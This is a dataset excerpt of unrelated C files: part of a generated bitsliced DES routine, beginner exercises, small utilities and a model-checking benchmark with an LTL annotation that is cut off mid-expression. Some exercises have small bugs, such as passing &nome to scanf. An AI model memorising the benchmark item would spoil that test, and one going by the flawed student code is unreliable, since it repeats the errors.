r25 ^ k7; unsigned long t520 = r26 ^ k16; unsigned long t521 = r27 ^ k31; unsigned long t522 = r28 ^ k50; unsigned long out345; unsigned long out346; unsigned long out347; unsigned long out348; s7(t517,t518,t519,t520,t521,t522, &out345,&out346,&out347,&out348); l31 = l31 ^ out345; l11 = l11 ^ out346; l21 = l21 ^ out347; l6 = l6 ^ out348; unsigned long t523 = r27 ^ k1; unsigned long t524 = r28 ^ k28; unsigned long t525 = r29 ^ k29; unsigned long t526 = r30 ^ k45; unsigned long t527 = r31 ^ k23; unsigned long t528 = r0 ^ k44; unsigned long out349; unsigned long out350; unsigned long out351; unsigned long out352; s8(t523,t524,t525,t526,t527,t528, &out349,&out350,&out351,&out352); l4 = l4 ^ out349; l26 = l26 ^ out350; l14 = l14 ^ out351; l20 = l20 ^ out352; unsigned long t529 = l31 ^ k48; unsigned long t530 = l0 ^ k12; unsigned long t531 = l1 ^ k27; unsigned long t532 = l2 ^ k4; unsigned long t533 = l3 ^ k39; unsigned long t534 = l4 ^ k10; unsigned long out353; unsigned long out354; unsigned long out355; unsigned long out356; s1(t529,t530,t531,t532,t533,t534, &out353,&out354,&out355,&out356); r8 = r8 ^ out353; r16 = r16 ^ out354; r22 = r22 ^ out355; r30 = r30 ^ out356; unsigned long t535 = l3 ^ k53; unsigned long t536 = l4 ^ k32; unsigned long t537 = l5 ^ k55; unsigned long t538 = l6 ^ k17; unsigned long t539 = l7 ^ k40; unsigned long t540 = l8 ^ k20; unsigned long out357; unsigned long out358; unsigned long out359; unsigned long out360; s2(t535,t536,t537,t538,t539,t540, &out357,&out358,&out359,&out360); r12 = r12 ^ out357; r27 = r27 ^ out358; r1 = r1 ^ out359; r17 = r17 ^ out360; unsigned long t541 = l7 ^ k54; unsigned long t542 = l8 ^ k26; unsigned long t543 = l9 ^ k34; unsigned long t544 = l10 ^ k3; unsigned long t545 = l11 ^ k18; unsigned long t546 = l12 ^ k6; unsigned long out361; unsigned long out362; unsigned long out363; unsigned long out364; s3(t541,t542,t543,t544,t545,t546, &out361,&out362,&out363,&out364); r23 = r23 ^ out361; r15 = r15 ^ out362; r29 = r29 ^ out363; r5 = r5 ^ out364; unsigned long t547 = l11 ^ k5; unsigned long t548 = l12 ^ k24; unsigned long t549 = l13 ^ k25; unsigned long t550 = l14 ^ k33; unsigned long t551 = l15 ^ k41; unsigned long t552 = l16 ^ k46; unsigned long out365; unsigned long out366; unsigned long out367; unsigned long out368; s4(t547,t548,t549,t550,t551,t552, &out365,&out366,&out367,&out368); r25 = r25 ^ out365; r19 = r19 ^ out366; r9 = r9 ^ out367; r0 = r0 ^ out368; unsigned long t553 = l15 ^ k35; unsigned long t554 = l16 ^ k2; unsigned long t555 = l17 ^ k51; unsigned long t556 = l18 ^ k7; unsigned long t557 = l19 ^ k22; unsigned long t558 = l20 ^ k23; unsigned long out369; unsigned long out370; unsigned long out371; unsigned long out372; s5(t553,t554,t555,t556,t557,t558, &out369,&out370,&out371,&out372); r7 = r7 ^ out369; r13 = r13 ^ out370; r24 = r24 ^ out371; r2 = r2 ^ out372; unsigned long t559 = l19 ^ k44; unsigned long t560 = l20 ^ k28; unsigned long t561 = l21 ^ k50; unsigned long t562 = l22 ^ k8; unsigned long t563 = l23 ^ k38; unsigned long t564 = l24 ^ k29; unsigned long out373; unsigned long out374; unsigned long out375; unsigned long out376; s6(t559,t560,t561,t562,t563,t564, &out373,&out374,&out375,&out376); r3 = r3 ^ out373; r28 = r28 ^ out374; r10 = r10 ^ out375; r18 = r18 ^ out376; unsigned long t565 = l23 ^ k1; unsigned long t566 = l24 ^ k36; unsigned long t567 = l25 ^ k21; unsigned long t568 = l26 ^ k30; unsigned long t569 = l27 ^ k45; unsigned long t570 = l28 ^ k9; unsigned long out377; unsigned long out378; unsigned long out379; unsigned long out380; s7(t565,t566,t567,t568,t569,t570, &out377,&out378,&out379,&out380); r31 = r31 ^ out377; r11 = r11 ^ out378; r21 = r21 ^ out379; r6 = r6 ^ out380; unsigned long t571 = l27 ^ k15; unsigned long t572 = l28 ^ k42; unsigned long t573 = l29 ^ k43; unsigned long t574 = l30 ^ k0; unsigned long t575 = l31 ^ k37; unsigned long t576 = l0 ^ k31; unsigned long out381; unsigned long out382; unsigned long out383; unsigned long out384; s8(t571,t572,t573,t574,t575,t576, &out381,&out382,&out383,&out384); r4 = r4 ^ out381; r26 = r26 ^ out382; r14 = r14 ^ out383; r20 = r20 ^ out384; unsigned long t577 = r31 ^ k5; unsigned long t578 = r0 ^ k26; unsigned long t579 = r1 ^ k41; unsigned long t580 = r2 ^ k18; unsigned long t581 = r3 ^ k53; unsigned long t582 = r4 ^ k24; unsigned long out385; unsigned long out386; unsigned long out387; unsigned long out388; s1(t577,t578,t579,t580,t581,t582, &out385,&out386,&out387,&out388); l8 = l8 ^ out385; l16 = l16 ^ out386; l22 = l22 ^ out387; l30 = l30 ^ out388; unsigned long t583 = r3 ^ k10; unsigned long t584 = r4 ^ k46; unsigned long t585 = r5 ^ k12; unsigned long t586 = r6 ^ k6; unsigned long t587 = r7 ^ k54; unsigned long t588 = r8 ^ k34; unsigned long out389; unsigned long out390; unsigned long out391; unsigned long out392; s2(t583,t584,t585,t586,t587,t588, &out389,&out390,&out391,&out392); l12 = l12 ^ out389; l27 = l27 ^ out390; l1 = l1 ^ out391; l17 = l17 ^ out392; unsigned long t589 = r7 ^ k11; unsigned long t590 = r8 ^ k40; unsigned long t591 = r9 ^ k48; unsigned long t592 = r10 ^ k17; unsigned long t593 = r11 ^ k32; unsigned long t594 = r12 ^ k20; unsigned long out393; unsigned long out394; unsigned long out395; unsigned long out396; s3(t589,t590,t591,t592,t593,t594, &out393,&out394,&out395,&out396); l23 = l23 ^ out393; l15 = l15 ^ out394; l29 = l29 ^ out395; l5 = l5 ^ out396; unsigned long t595 = r11 ^ k19; unsigned long t596 = r12 ^ k13; unsigned long t597 = r13 ^ k39; unsigned long t598 = r14 ^ k47; unsigned long t599 = r15 ^ k55; unsigned long t600 = r16 ^ k3; unsigned long out397; unsigned long out398; unsigned long out399; unsigned long out400; s4(t595,t596,t597,t598,t599,t600, &out397,&out398,&out399,&out400); l25 = l25 ^ out397; l19 = l19 ^ out398; l9 = l9 ^ out399; l0 = l0 ^ out400; unsigned long t601 = r15 ^ k49; unsigned long t602 = r16 ^ k16; unsigned long t603 = r17 ^ k38; unsigned long t604 = r18 ^ k21; unsigned long t605 = r19 ^ k36; unsigned long t606 = r20 ^ k37; unsigned long out401; unsigned long out402; unsigned long out403; unsigned long out404; s5(t601,t602,t603,t604,t605,t606, &out401,&out402,&out403,&out404); l7 = l7 ^ out401; l13 = l13 ^ out402; l24 = l24 ^ out403; l2 = l2 ^ out404; unsigned long t607 = r19 ^ k31; unsigned long t608 = r20 ^ k42; unsigned long t609 = r21 ^ k9; unsigned long t610 = r22 ^ k22; unsigned long t611 = r23 ^ k52; unsigned long t612 = r24 ^ k43; unsigned long out405; unsigned long out406; unsigned long out407; unsigned long out408; s6(t607,t608,t609,t610,t611,t612, &out405,&out406,&out407,&out408); l3 = l3 ^ out405; l28 = l28 ^ out406; l10 = l10 ^ out407; l18 = l18 ^ out408; unsigned long t613 = r23 ^ k15; unsigned long t614 = r24 ^ k50; unsigned long t615 = r25 ^ k35; unsigned long t616 = r26 ^ k44; unsigned long t617 = r27 ^ k0; unsigned long t618 = r28 ^ k23; unsigned long out409; unsigned long out410; unsigned long out411; unsigned long out412; s7(t613,t614,t615,t616,t617,t618, &out409,&out410,&out411,&out412); l31 = l31 ^ out409; l11 = l11 ^ out410; l21 = l21 ^ out411; l6 = l6 ^ out412; unsigned long t619 = r27 ^ k29; unsigned long t620 = r28 ^ k1; unsigned long t621 = r29 ^ k2; unsigned long t622 = r30 ^ k14; unsigned long t623 = r31 ^ k51; unsigned long t624 = r0 ^ k45; unsigned long out413; unsigned long out414; unsigned long out415; unsigned long out416; s8(t619,t620,t621,t622,t623,t624, &out413,&out414,&out415,&out416); l4 = l4 ^ out413; l26 = l26 ^ out414; l14 = l14 ^ out415; l20 = l20 ^ out416; unsigned long t625 = l31 ^ k19; unsigned long t626 = l0 ^ k40; unsigned long t627 = l1 ^ k55; unsigned long t628 = l2 ^ k32; unsigned long t629 = l3 ^ k10; unsigned long t630 = l4 ^ k13; unsigned long out417; unsigned long out418; unsigned long out419; unsigned long out420; s1(t625,t626,t627,t628,t629,t630, &out417,&out418,&out419,&out420); r8 = r8 ^ out417; r16 = r16 ^ out418; r22 = r22 ^ out419; r30 = r30 ^ out420; unsigned long t631 = l3 ^ k24; unsigned long t632 = l4 ^ k3; unsigned long t633 = l5 ^ k26; unsigned long t634 = l6 ^ k20; unsigned long t635 = l7 ^ k11; unsigned long t636 = l8 ^ k48; unsigned long out421; unsigned long out422; unsigned long out423; unsigned long out424; s2(t631,t632,t633,t634,t635,t636, &out421,&out422,&out423,&out424); r12 = r12 ^ out421; r27 = r27 ^ out422; r1 = r1 ^ out423; r17 = r17 ^ out424; unsigned long t637 = l7 ^ k25; unsigned long t638 = l8 ^ k54; unsigned long t639 = l9 ^ k5; unsigned long t640 = l10 ^ k6; unsigned long t641 = l11 ^ k46; unsigned long t642 = l12 ^ k34; unsigned long out425; unsigned long out426; unsigned long out427; unsigned long out428; s3(t637,t638,t639,t640,t641,t642, &out425,&out426,&out427,&out428); r23 = r23 ^ out425; r15 = r15 ^ out426; r29 = r29 ^ out427; r5 = r5 ^ out428; unsigned long t643 = l11 ^ k33; unsigned long t644 = l12 ^ k27; unsigned long t645 = l13 ^ k53; unsigned long t646 = l14 ^ k4; unsigned long t647 = l15 ^ k12; unsigned long t648 = l16 ^ k17; unsigned long out429; unsigned long out430; unsigned long out431; unsigned long out432; s4(t643,t644,t645,t646,t647,t648, &out429,&out430,&out431,&out432); r25 = r25 ^ out429; r19 = r19 ^ out430; r9 = r9 ^ out431; r0 = r0 ^ out432; unsigned long t649 = l15 ^ k8; unsigned long t650 = l16 ^ k30; unsigned long t651 = l17 ^ k52; unsigned long t652 = l18 ^ k35; unsigned long t653 = l19 ^ k50; unsigned long t654 = l20 ^ k51; unsigned long out433; unsigned long out434; unsigned long out435; unsigned long out436; s5(t649,t650,t651,t652,t653,t654, &out433,&out434,&out435,&out436); r7 = r7 ^ out433; r13 = r13 ^ out434; r24 = r24 ^ out435; r2 = r2 ^ out436; unsigned long t655 = l19 ^ k45; unsigned long t656 = l20 ^ k1; unsigned long t657 = l21 ^ k23; unsigned long t658 = l22 ^ k36; unsigned long t659 = l23 ^ k7; unsigned long t660 = l24 ^ k2; unsigned long out437; unsigned long out438; unsigned long out439; unsigned long out440; s6(t655,t656,t657,t658,t659,t660, &out437,&out438,&out439,&out440); r3 = r3 ^ out437; r28 = r28 ^ out438; r10 = r10 ^ out439; r18 = r18 ^ out440; unsigned long t661 = l23 ^ k29; unsigned long t662 = l24 ^ k9; unsigned long t663 = l25 ^ k49; unsigned long t664 = l26 ^ k31; unsigned long t665 = l27 ^ k14; unsigned long t666 = l28 ^ k37; unsigned long out441; unsigned long out442; unsigned long out443; unsigned long out444; s7(t661,t662,t663,t664,t665,t666, &out441,&out442,&out443,&out444); r31 = r31 ^ out441; r11 = r11 ^ out442; r21 = r21 ^ out443; r6 = r6 ^ out444; unsigned long t667 = l27 ^ k43; unsigned long t668 = l28 ^ k15; unsigned long t669 = l29 ^ k16; unsigned long t670 = l30 ^ k28; unsigned long t671 = l31 ^ k38; unsigned long t672 = l0 ^ k0; unsigned long out445; unsigned long out446; unsigned long out447; unsigned long out448; s8(t667,t668,t669,t670,t671,t672, &out445,&out446,&out447,&out448); r4 = r4 ^ out445; r26 = r26 ^ out446; r14 = r14 ^ out447; r20 = r20 ^ out448; unsigned long t673 = r31 ^ k33; unsigned long t674 = r0 ^ k54; unsigned long t675 = r1 ^ k12; unsigned long t676 = r2 ^ k46; unsigned long t677 = r3 ^ k24; unsigned long t678 = r4 ^ k27; unsigned long out449; unsigned long out450; unsigned long out451; unsigned long out452; s1(t673,t674,t675,t676,t677,t678, &out449,&out450,&out451,&out452); l8 = l8 ^ out449; l16 = l16 ^ out450; l22 = l22 ^ out451; l30 = l30 ^ out452; unsigned long t679 = r3 ^ k13; unsigned long t680 = r4 ^ k17; unsigned long t681 = r5 ^ k40; unsigned long t682 = r6 ^ k34; unsigned long t683 = r7 ^ k25; unsigned long t684 = r8 ^ k5; unsigned long out453; unsigned long out454; unsigned long out455; unsigned long out456; s2(t679,t680,t681,t682,t683,t684, &out453,&out454,&out455,&out456); l12 = l12 ^ out453; l27 = l27 ^ out454; l1 = l1 ^ out455; l17 = l17 ^ out456; unsigned long t685 = r7 ^ k39; unsigned long t686 = r8 ^ k11; unsigned long t687 = r9 ^ k19; unsigned long t688 = r10 ^ k20; unsigned long t689 = r11 ^ k3; unsigned long t690 = r12 ^ k48; unsigned long out457; unsigned long out458; unsigned long out459; unsigned long out460; s3(t685,t686,t687,t688,t689,t690, &out457,&out458,&out459,&out460); l23 = l23 ^ out457; l15 = l15 ^ out458; l29 = l29 ^ out459; l5 = l5 ^ out460; unsigned long t691 = r11 ^ k47; unsigned long t692 = r12 ^ k41; unsigned long t693 = r13 ^ k10; unsigned long t694 = r14 ^ k18; unsigned long t695 = r15 ^ k26; unsigned long t696 = r16 ^ k6; unsigned long out461; unsigned long out462; unsigned long out463; unsigned long out464; s4(t691,t692,t693,t694,t695,t696, &out461,&out462,&out463,&out464); l25 = l25 ^ out461; l19 = l19 ^ out462; l9 = l9 ^ out463; l0 = l0 ^ out464; unsigned long t697 = r15 ^ k22; unsigned long t698 = r16 ^ k44; unsigned long t699 = r17 ^ k7; unsigned long t700 = r18 ^ k49; unsigned long t701 = r19 ^ k9; unsigned long t702 = r20 ^ k38; unsigned long out465; unsigned long out466; unsigned long out467; unsigned long out468; s5(t697,t698,t699,t700,t701,t702, &out465,&out466,&out467,&out468); l7 = l7 ^ out465; l13 = l13 ^ out466; l24 = l24 ^ out467; l2 = l2 ^ out468; unsigned long t703 = r19 ^ k0; unsigned long t704 = r20 ^ k15; unsigned long t705 = r21 ^ k37; unsigned long t706 = r22 ^ k50; unsigned long t707 = r23 ^ k21; unsigned long t708 = r24 ^ k16; unsigned long out469; unsigned long out470; unsigned long out471; unsigned long out472; s6(t703,t704,t705,t706,t707,t708, &out469,&out470,&out471,&out472); l3 = l3 ^ out469; l28 = l28 ^ out470; l10 = l10 ^ out471; l18 = l18 ^ out472; unsigned long t709 = r23 ^ k43; unsigned long t710 = r24 ^ k23; unsigned long t711 = r25 ^ k8; unsigned long t712 = r26 ^ k45; unsigned long t713 = r27 ^ k28; unsigned long t714 = r28 ^ k51; unsigned long out473; unsigned long out474; unsigned long out475; unsigned long out476; s7(t709,t710,t711,t712,t713,t714, &out473,&out474,&out475,&out476); l31 = l31 ^ out473; l11 = l11 ^ out474; l21 = l21 ^ out475; l6 = l6 ^ out476; unsigned long t715 = r27 ^ k2; unsigned long t716 = r28 ^ k29; unsigned long t717 = r29 ^ k30; unsigned long t718 = r30 ^ k42; unsigned long t719 = r31 ^ k52; unsigned long t720 = r0 ^ k14; unsigned long out477; unsigned long out478; unsigned long out479; unsigned long out480; s8(t715,t716,t717,t718,t719,t720, &out477,&out478,&out479,&out480); l4 = l4 ^ out477; l26 = l26 ^ out478; l14 = l14 ^ out479; l20 = l20 ^ out480; unsigned long t721 = l31 ^ k40; unsigned long t722 = l0 ^ k4; unsigned long t723 = l1 ^ k19; unsigned long t724 = l2 ^ k53; unsigned long t725 = l3 ^ k6; unsigned long t726 = l4 ^ k34; unsigned long out481; unsigned long out482; unsigned long out483; unsigned long out484; s1(t721,t722,t723,t724,t725,t726, &out481,&out482,&out483,&out484); r8 = r8 ^ out481; r16 = r16 ^ out482; r22 = r22 ^ out483; r30 = r30 ^ out484; unsigned long t727 = l3 ^ k20; unsigned long t728 = l4 ^ k24; unsigned long t729 = l5 ^ k47; unsigned long t730 = l6 ^ k41; unsigned long t731 = l7 ^ k32; unsigned long t732 = l8 ^ k12; unsigned long out485; unsigned long out486; unsigned long out487; unsigned long out488; s2(t727,t728,t729,t730,t731,t732, &out485,&out486,&out487,&out488); r12 = r12 ^ out485; r27 = r27 ^ out486; r1 = r1 ^ out487; r17 = r17 ^ out488; unsigned long t733 = l7 ^ k46; unsigned long t734 = l8 ^ k18; unsigned long t735 = l9 ^ k26; unsigned long t736 = l10 ^ k27; unsigned long t737 = l11 ^ k10; unsigned long t738 = l12 ^ k55; unsigned long out489; unsigned long out490; unsigned long out491; unsigned long out492; s3(t733,t734,t735,t736,t737,t738, &out489,&out490,&out491,&out492); r23 = r23 ^ out489; r15 = r15 ^ out490; r29 = r29 ^ out491; r5 = r5 ^ out492; unsigned long t739 = l11 ^ k54; unsigned long t740 = l12 ^ k48; unsigned long t741 = l13 ^ k17; unsigned long t742 = l14 ^ k25; unsigned long t743 = l15 ^ k33; unsigned long t744 = l16 ^ k13; unsigned long out493; unsigned long out494; unsigned long out495; unsigned long out496; s4(t739,t740,t741,t742,t743,t744, &out493,&out494,&out495,&out496); r25 = r25 ^ out493; r19 = r19 ^ out494; r9 = r9 ^ out495; r0 = r0 ^ out496; unsigned long t745 = l15 ^ k29; unsigned long t746 = l16 ^ k51; unsigned long t747 = l17 ^ k14; unsigned long t748 = l18 ^ k1; unsigned long t749 = l19 ^ k16; unsigned long t750 = l20 ^ k45; unsigned long out497; unsigned long out498; unsigned long out499; unsigned long out500; s5(t745,t746,t747,t748,t749,t750, &out497,&out498,&out499,&out500); r7 = r7 ^ out497; r13 = r13 ^ out498; r24 = r24 ^ out499; r2 = r2 ^ out500; unsigned long t751 = l19 ^ k7; unsigned long t752 = l20 ^ k22; unsigned long t753 = l21 ^ k44; unsigned long t754 = l22 ^ k2; unsigned long t755 = l23 ^ k28; unsigned long t756 = l24 ^ k23; unsigned long out501; unsigned long out502; unsigned long out503; unsigned long out504; s6(t751,t752,t753,t754,t755,t756, &out501,&out502,&out503,&out504); r3 = r3 ^ out501; r28 = r28 ^ out502; r10 = r10 ^ out503; r18 = r18 ^ out504; unsigned long t757 = l23 ^ k50; unsigned long t758 = l24 ^ k30; unsigned long t759 = l25 ^ k15; unsigned long t760 = l26 ^ k52; unsigned long t761 = l27 ^ k35; unsigned long t762 = l28 ^ k31; unsigned long out505; unsigned long out506; unsigned long out507; unsigned long out508; s7(t757,t758,t759,t760,t761,t762, &out505,&out506,&out507,&out508); r31 = r31 ^ out505; r11 = r11 ^ out506; r21 = r21 ^ out507; r6 = r6 ^ out508; unsigned long t763 = l27 ^ k9; unsigned long t764 = l28 ^ k36; unsigned long t765 = l29 ^ k37; unsigned long t766 = l30 ^ k49; unsigned long t767 = l31 ^ k0; unsigned long t768 = l0 ^ k21; unsigned long out509; unsigned long out510; unsigned long out511; unsigned long out512; s8(t763,t764,t765,t766,t767,t768, &out509,&out510,&out511,&out512); r4 = r4 ^ out509; r26 = r26 ^ out510; r14 = r14 ^ out511; r20 = r20 ^ out512; c[5] = l8; c[3] = l16; c[51] = l22; c[49] = l30; c[37] = l12; c[25] = l27; c[15] = l1; c[11] = l17; c[59] = l23; c[61] = l15; c[41] = l29; c[47] = l5; c[9] = l25; c[27] = l19; c[13] = l9; c[7] = l0; c[63] = l7; c[45] = l13; c[1] = l24; c[23] = l2; c[31] = l3; c[33] = l28; c[21] = l10; c[19] = l18; c[57] = l31; c[29] = l11; c[43] = l21; c[55] = l6; c[39] = l4; c[17] = l26; c[53] = l14; c[35] = l20; c[4] = r8; c[2] = r16; c[50] = r22; c[48] = r30; c[36] = r12; c[24] = r27; c[14] = r1; c[10] = r17; c[58] = r23; c[60] = r15; c[40] = r29; c[46] = r5; c[8] = r25; c[26] = r19; c[12] = r9; c[6] = r0; c[62] = r7; c[44] = r13; c[0] = r24; c[22] = r2; c[30] = r3; c[32] = r28; c[20] = r10; c[18] = r18; c[56] = r31; c[28] = r11; c[42] = r21; c[54] = r6; c[38] = r4; c[16] = r26; c[52] = r14; c[34] = r20; }
the_stack_data/840420.c
#include<stdio.h> #include<stdlib.h> #define SIZE 30 struct Student { int number; char name[SIZE]; float score; }; int main() { struct Student stu1; struct Student stu2; printf("请输入stu1的信息:\n"); printf("学号 姓名 成绩\n"); scanf("%d %s %f",&stu1.number,stu1.name,&stu1.score); printf("请输入stu2的信息:\n"); printf("学号 姓名 成绩\n"); scanf("%d %s %f",&stu2.number,stu2.name,&stu2.score); printf("较高分数的学生信息是:\n"); printf("学号 姓名 成绩\n"); if(stu1.score > stu2.score) { printf("%d %s %.2f\n",stu1.number,stu1.name,stu1.score); }else if(stu1.score < stu2.score) { printf("%d %s %.2f\n",stu2.number,stu2.name,stu2.score); }else { printf("%d %s %.2f\n",stu1.number,stu1.name,stu1.score); printf("%d %s %.2f\n",stu2.number,stu2.name,stu2.score); } return 0; }
the_stack_data/72013296.c
int numWaterBottles(int numBottles, int numExchange){ return numBottles + (numBottles - 1) / (numExchange - 1); }
the_stack_data/43888664.c
#include <stdio.h> #include <time.h> int main (void) { time_t t0; t0 = time (NULL); printf("%lu sec since epoch\n", t0); printf("%s\n", ctime(&t0)); return 0; }
the_stack_data/34887.c
#include <stdio.h> #include <omp.h> int main(){ #pragma omp parallel printf("Parallel from thread %i\n", omp_get_thread_num()); #pragma omp master { printf("Single from thread %i\n", omp_get_thread_num()); } }
the_stack_data/85201.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_memset.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: vpelissi <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2014/11/04 14:00:34 by vpelissi #+# #+# */ /* Updated: 2014/11/12 17:48:16 by vpelissi ### ########.fr */ /* */ /* ************************************************************************** */ #include <string.h> void *ft_memset(void *s, int c, size_t n) { unsigned char *beta; beta = s; while (n--) *beta++ = c; return (s); }
the_stack_data/1134661.c
/* ============================================================================ Name : HelloWorld.c Author : JF Version : Copyright : None Description : Hello World in C, Ansi-style ============================================================================ */ #include <stdio.h> #include <stdlib.h> int main(void) { puts("!!!Hello World!!!"); /* prints !!!Hello World!!! */ return EXIT_SUCCESS; }
the_stack_data/43389.c
/* 1- Faça um programa que leia seu nome e sua idade. Após duas linhas e exiba nome e idade separados por hífen. Exemplo: Digite seu nome >> Fulano Idade >> 30 Fulano – 30 anos */ #include <stdio.h> int main(int argc, char** argv[]){ char nome[50]; int idade; printf("Digite seu nome >> "); scanf("%s",&nome); printf("Idade >> "); scanf("%d",&idade); printf("\n\n%s - %d anos", nome, idade); return 0; }
the_stack_data/957691.c
//@ ltl invariant negative: ([] ((X AP(x_2 - x_37 > -13)) U AP(x_9 - x_4 > 14))); float x_0; float x_1; float x_2; float x_3; float x_4; float x_5; float x_6; float x_7; float x_8; float x_9; float x_10; float x_11; float x_12; float x_13; float x_14; float x_15; float x_16; float x_17; float x_18; float x_19; float x_20; float x_21; float x_22; float x_23; float x_24; float x_25; float x_26; float x_27; float x_28; float x_29; float x_30; float x_31; float x_32; float x_33; float x_34; float x_35; float x_36; float x_37; float x_38; float x_39; int main() { float x_0_; float x_1_; float x_2_; float x_3_; float x_4_; float x_5_; float x_6_; float x_7_; float x_8_; float x_9_; float x_10_; float x_11_; float x_12_; float x_13_; float x_14_; float x_15_; float x_16_; float x_17_; float x_18_; float x_19_; float x_20_; float x_21_; float x_22_; float x_23_; float x_24_; float x_25_; float x_26_; float x_27_; float x_28_; float x_29_; float x_30_; float x_31_; float x_32_; float x_33_; float x_34_; float x_35_; float x_36_; float x_37_; float x_38_; float x_39_; while(1) { x_0_ = (((((17.0 + x_1) > (2.0 + x_4)? (17.0 + x_1) : (2.0 + x_4)) > ((8.0 + x_7) > ((11.0 + x_8) > (13.0 + x_10)? (11.0 + x_8) : (13.0 + x_10))? (8.0 + x_7) : ((11.0 + x_8) > (13.0 + x_10)? (11.0 + x_8) : (13.0 + x_10)))? ((17.0 + x_1) > (2.0 + x_4)? (17.0 + x_1) : (2.0 + x_4)) : ((8.0 + x_7) > ((11.0 + x_8) > (13.0 + x_10)? (11.0 + x_8) : (13.0 + x_10))? (8.0 + x_7) : ((11.0 + x_8) > (13.0 + x_10)? (11.0 + x_8) : (13.0 + x_10)))) > (((7.0 + x_12) > (14.0 + x_13)? (7.0 + x_12) : (14.0 + x_13)) > ((9.0 + x_15) > ((18.0 + x_18) > (16.0 + x_19)? (18.0 + x_18) : (16.0 + x_19))? (9.0 + x_15) : ((18.0 + x_18) > (16.0 + x_19)? (18.0 + x_18) : (16.0 + x_19)))? ((7.0 + x_12) > (14.0 + x_13)? (7.0 + x_12) : (14.0 + x_13)) : ((9.0 + x_15) > ((18.0 + x_18) > (16.0 + x_19)? (18.0 + x_18) : (16.0 + x_19))? (9.0 + x_15) : ((18.0 + x_18) > (16.0 + x_19)? (18.0 + x_18) : (16.0 + x_19))))? (((17.0 + x_1) > (2.0 + x_4)? (17.0 + x_1) : (2.0 + x_4)) > ((8.0 + x_7) > ((11.0 + x_8) > (13.0 + x_10)? (11.0 + x_8) : (13.0 + x_10))? (8.0 + x_7) : ((11.0 + x_8) > (13.0 + x_10)? (11.0 + x_8) : (13.0 + x_10)))? ((17.0 + x_1) > (2.0 + x_4)? (17.0 + x_1) : (2.0 + x_4)) : ((8.0 + x_7) > ((11.0 + x_8) > (13.0 + x_10)? (11.0 + x_8) : (13.0 + x_10))? (8.0 + x_7) : ((11.0 + x_8) > (13.0 + x_10)? (11.0 + x_8) : (13.0 + x_10)))) : (((7.0 + x_12) > (14.0 + x_13)? (7.0 + x_12) : (14.0 + x_13)) > ((9.0 + x_15) > ((18.0 + x_18) > (16.0 + x_19)? (18.0 + x_18) : (16.0 + x_19))? (9.0 + x_15) : ((18.0 + x_18) > (16.0 + x_19)? (18.0 + x_18) : (16.0 + x_19)))? ((7.0 + x_12) > (14.0 + x_13)? (7.0 + x_12) : (14.0 + x_13)) : ((9.0 + x_15) > ((18.0 + x_18) > (16.0 + x_19)? (18.0 + x_18) : (16.0 + x_19))? (9.0 + x_15) : ((18.0 + x_18) > (16.0 + x_19)? (18.0 + x_18) : (16.0 + x_19))))) > ((((13.0 + x_20) > (5.0 + x_22)? (13.0 + x_20) : (5.0 + x_22)) > ((7.0 + x_24) > ((8.0 + x_26) > (18.0 + x_28)? (8.0 + x_26) : (18.0 + x_28))? (7.0 + x_24) : ((8.0 + x_26) > (18.0 + x_28)? (8.0 + x_26) : (18.0 + x_28)))? ((13.0 + x_20) > (5.0 + x_22)? (13.0 + x_20) : (5.0 + x_22)) : ((7.0 + x_24) > ((8.0 + x_26) > (18.0 + x_28)? (8.0 + x_26) : (18.0 + x_28))? (7.0 + x_24) : ((8.0 + x_26) > (18.0 + x_28)? (8.0 + x_26) : (18.0 + x_28)))) > (((15.0 + x_29) > (11.0 + x_30)? (15.0 + x_29) : (11.0 + x_30)) > ((1.0 + x_35) > ((12.0 + x_38) > (15.0 + x_39)? (12.0 + x_38) : (15.0 + x_39))? (1.0 + x_35) : ((12.0 + x_38) > (15.0 + x_39)? (12.0 + x_38) : (15.0 + x_39)))? ((15.0 + x_29) > (11.0 + x_30)? (15.0 + x_29) : (11.0 + x_30)) : ((1.0 + x_35) > ((12.0 + x_38) > (15.0 + x_39)? (12.0 + x_38) : (15.0 + x_39))? (1.0 + x_35) : ((12.0 + x_38) > (15.0 + x_39)? (12.0 + x_38) : (15.0 + x_39))))? (((13.0 + x_20) > (5.0 + x_22)? (13.0 + x_20) : (5.0 + x_22)) > ((7.0 + x_24) > ((8.0 + x_26) > (18.0 + x_28)? (8.0 + x_26) : (18.0 + x_28))? (7.0 + x_24) : ((8.0 + x_26) > (18.0 + x_28)? (8.0 + x_26) : (18.0 + x_28)))? ((13.0 + x_20) > (5.0 + x_22)? (13.0 + x_20) : (5.0 + x_22)) : ((7.0 + x_24) > ((8.0 + x_26) > (18.0 + x_28)? (8.0 + x_26) : (18.0 + x_28))? (7.0 + x_24) : ((8.0 + x_26) > (18.0 + x_28)? (8.0 + x_26) : (18.0 + x_28)))) : (((15.0 + x_29) > (11.0 + x_30)? (15.0 + x_29) : (11.0 + x_30)) > ((1.0 + x_35) > ((12.0 + x_38) > (15.0 + x_39)? (12.0 + x_38) : (15.0 + x_39))? (1.0 + x_35) : ((12.0 + x_38) > (15.0 + x_39)? (12.0 + x_38) : (15.0 + x_39)))? ((15.0 + x_29) > (11.0 + x_30)? (15.0 + x_29) : (11.0 + x_30)) : ((1.0 + x_35) > ((12.0 + x_38) > (15.0 + x_39)? (12.0 + x_38) : (15.0 + x_39))? (1.0 + x_35) : ((12.0 + x_38) > (15.0 + x_39)? (12.0 + x_38) : (15.0 + x_39)))))? ((((17.0 + x_1) > (2.0 + x_4)? (17.0 + x_1) : (2.0 + x_4)) > ((8.0 + x_7) > ((11.0 + x_8) > (13.0 + x_10)? (11.0 + x_8) : (13.0 + x_10))? (8.0 + x_7) : ((11.0 + x_8) > (13.0 + x_10)? (11.0 + x_8) : (13.0 + x_10)))? ((17.0 + x_1) > (2.0 + x_4)? (17.0 + x_1) : (2.0 + x_4)) : ((8.0 + x_7) > ((11.0 + x_8) > (13.0 + x_10)? (11.0 + x_8) : (13.0 + x_10))? (8.0 + x_7) : ((11.0 + x_8) > (13.0 + x_10)? (11.0 + x_8) : (13.0 + x_10)))) > (((7.0 + x_12) > (14.0 + x_13)? (7.0 + x_12) : (14.0 + x_13)) > ((9.0 + x_15) > ((18.0 + x_18) > (16.0 + x_19)? (18.0 + x_18) : (16.0 + x_19))? (9.0 + x_15) : ((18.0 + x_18) > (16.0 + x_19)? (18.0 + x_18) : (16.0 + x_19)))? ((7.0 + x_12) > (14.0 + x_13)? (7.0 + x_12) : (14.0 + x_13)) : 